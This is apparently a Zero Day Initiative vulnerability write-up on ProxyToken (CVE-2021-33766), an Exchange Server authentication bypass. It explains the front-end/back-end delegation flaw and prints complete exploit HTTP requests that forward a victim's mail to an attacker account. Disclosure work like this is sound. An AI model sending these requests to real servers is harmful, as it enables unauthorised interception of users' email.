ProxyToken: An Authentication Bypass in Microsoft Exchange Server

zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server

August 30, 2021

August 30, 2021 | Simon Zuckerbraun
SUBSCRIBE

Continuing with the theme of serious vulnerabilities that have recently come to light in Microsoft Exchange Server, in this article we present a new vulnerability we call ProxyToken. It was reported to the Zero Day Initiative in March 2021 by researcher Le Xuan Tuyen of VNPT ISC, and it was patched by Microsoft in the July 2021 Exchange cumulative updates. Identifiers for this vulnerability are CVE-2021-33766 and ZDI-CAN-13477.

With this vulnerability, an unauthenticated attacker can perform configuration actions on mailboxes belonging to arbitrary users. As an illustration of the impact, this can be used to copy all emails addressed to a target and account and forward them to an account controlled by the attacker.

The Trigger

The essential HTTP traffic needed to trigger the vulnerability is as follows:

```
POST /ecp/victim@contoso/RulesEditor/InboxRules.svc/NewObject HTTP/1.1
Host: mail.contoso
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: SecurityToken=x
Content-Type: application/json; charset=utf-8
```

“SecurityToken=x”? What might this be, some secret backdoor access code?

Understanding the Root Cause

To understand what has happened here, it is necessary to discuss a bit about the architecture of Exchange Server. Recently, security researcher Orange Tsai has done excellent work in this area, and readers are encouraged to read his full findings here as well as the recent guest blog he wrote on this site. However, for the purposes of this particular vulnerability, the salient points will be summarized below.

Microsoft Exchange creates two sites in IIS. One is the default website, listening on ports 80 for HTTP and 443 for HTTPS. This is the site that all clients connect to for web access (OWA, ECP) and for externally facing web services. It is known as the “front end”. The other site is named “Exchange Back End” and listens on ports 81 for HTTP and 444 for HTTPS.

The front-end website is mostly just a proxy to the back end. To allow access that requires forms authentication, the front end serves pages such as `/owa/auth/logon.aspx`. For all post-authentication requests, the front end’s main role is to repackage the requests and proxy them to corresponding endpoints on the Exchange Back End site. It then collects the responses from the back end and forwards them to the client.

Exchange is a highly complex product, though, and this can lead to some wrinkles in the usual flow. In particular, Exchange supports a feature called “Delegated Authentication” supporting cross-forest topologies. In such deployments, the front end is not able to perform authentication decisions on its own. Instead, the front end passes requests directly to the back end, relying on the back end to determine whether the request is properly authenticated. These requests that are to be authenticated using back-end logic are identified by the presence of a `SecurityToken` cookie:

In `Microsoft.Exchange.HttpProxy.ProxyModule.SelectHandlerForUnauthenticatedRequest`:

```
            else if (HttpProxyGlobals.ProtocolType == ProtocolType.Ecp)
            {
                if (EDiscoveryExportToolProxyRequestHandler.IsEDiscoveryExportToolProxyRequest(httpContext.Request))
                {
                    handler = new EDiscoveryExportToolProxyRequestHandler();
                }
                else if (BEResourceRequestHandler.CanHandle(httpContext.Request))
                {
                    handler = new BEResourceRequestHandler();
                }
                else if (EcpProxyRequestHandler.IsCrossForestDelegatedRequest(httpContext.Request))
                {
                    EcpProxyRequestHandler handler1 = new EcpProxyRequestHandler();
                    handler1.IsCrossForestDelegated = true;
                    handler = handler1;
                }
internal static bool IsCrossForestDelegatedRequest(HttpRequest request)
{
    if (!string.IsNullOrEmpty(request.QueryString["SecurityToken"]))
    {
        return true;
    }
    HttpCookie cookie = request.Cookies["SecurityToken"];
    return ((cookie != null) && !string.IsNullOrEmpty(cookie.Value));
}
```

Thus, for requests within `/ecp`, if the front end finds a non-empty cookie named `SecurityToken`, it delegates authentication to the back end.

Code on the back end that examines and validates the `SecurityToken` cookie is found in the class `Microsoft.Exchange.Configuration.DelegatedAuthentication.DelegatedAuthenticationModule`. What goes wrong on the validation side? To see the answer, have a look at `/ecp/web.config` on the back end:

As you can see, in a default configuration of the product, a `<remove>` element appears, so that the module `DelegatedAuthModule` will not be loaded at all for the back-end ECP site.

In summary, when the front end sees the `SecurityToken` cookie, it knows that the back end alone is responsible for authenticating this request. Meanwhile, the back end is completely unaware that it needs to authenticate some incoming requests based upon the `SecurityToken` cookie, since the `DelegatedAuthModule` is not loaded in installations that have not been configured to use the special delegated authentication feature. The net result is that requests can sail through, without being subjected to authentication on either the front or back end.

Bagging a Canary

There is one additional hurdle to clear before we can successfully issue an unauthenticated request, but it turns out to be a minor one. Each request to an `/ecp` page is required to have a ticket known as the “ECP canary”. Without a canary, the request will come back with an HTTP 500. However, the attacker is still in luck, because the 500 error response is accompanied by a valid canary:

```
HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
request-id: fb98f370-6f35-486e-84ce-ae769b346a8d
X-CalculatedBETarget: mailserver.contoso
X-Content-Type-Options: nosniff
jsonerror: true
X-ECP-ERROR: System.ServiceModel.FaultException
X-DiagInfo: mailserver
X-BEServer: mailserver
X-UA-Compatible: IE=10
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=111e72d0-1867-4aa9-b37a-cf0f12e9eb2d; path=/; secure; HttpOnly
Set-Cookie: msExchEcpCanary=bOoDLnPHwU-Po5ZM3Rx4CRDhAjNkZtkInQwtkshtexm3nuzAHEQW-itnqOrhFz6k5RK7aSpLNAs.;
path=/ecp;SameSite=None; secure
...
```

An example of the final request would then be as follows:

```
POST /ecp/victim@contoso/RulesEditor/InboxRules.svc/NewObject?
msExchEcpCanary=bOoDLnPHwU-Po5ZM3Rx4CRDhAjNkZtkInQwtkshtexm3nuzAHEQW-itnqOrhFz6k5RK7aSpLNAs. HTTP/1.1
Host: mail.contoso
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: SecurityToken=x
Content-Type: application/json; charset=utf-8
Content-Length: 328

{"properties": {"RedirectTo": [{"RawIdentity": "attacker@contoso", "DisplayName": "attacker",
"Address": "attacker@contoso", "AddressOrigin": 3, "RecipientFlag": 0, "RoutingType": "SMTP",
"SMTPAddress": "attacker@contoso"}], "Name": "Test", "StopProcessingRules": true}}
```

This particular exploit assumes that the attacker has an account on the same Exchange server as the victim. It installs a forwarding rule that allows the attacker to read all the victim's incoming mail. On some Exchange installations, an administrator may have set a global configuration value that permits forwarding rules having arbitrary Internet destinations, and in that case, the attacker does not need any Exchange credentials at all. Furthermore, since the entire `/ecp` site is potentially affected, various other means of exploitation may be available as well.

Conclusion

Exchange Server continues to be an amazingly fertile area for vulnerability research. This can be attributed to the product's enormous complexity, both in terms of feature set and architecture. We look forward to receiving additional vulnerability reports in the future from our talented researchers who are working in this space. Until then, follow the team for the latest in exploit techniques and security patches.

- Microsoft
- Exchange
- Exploit

BACK TO THE BLOG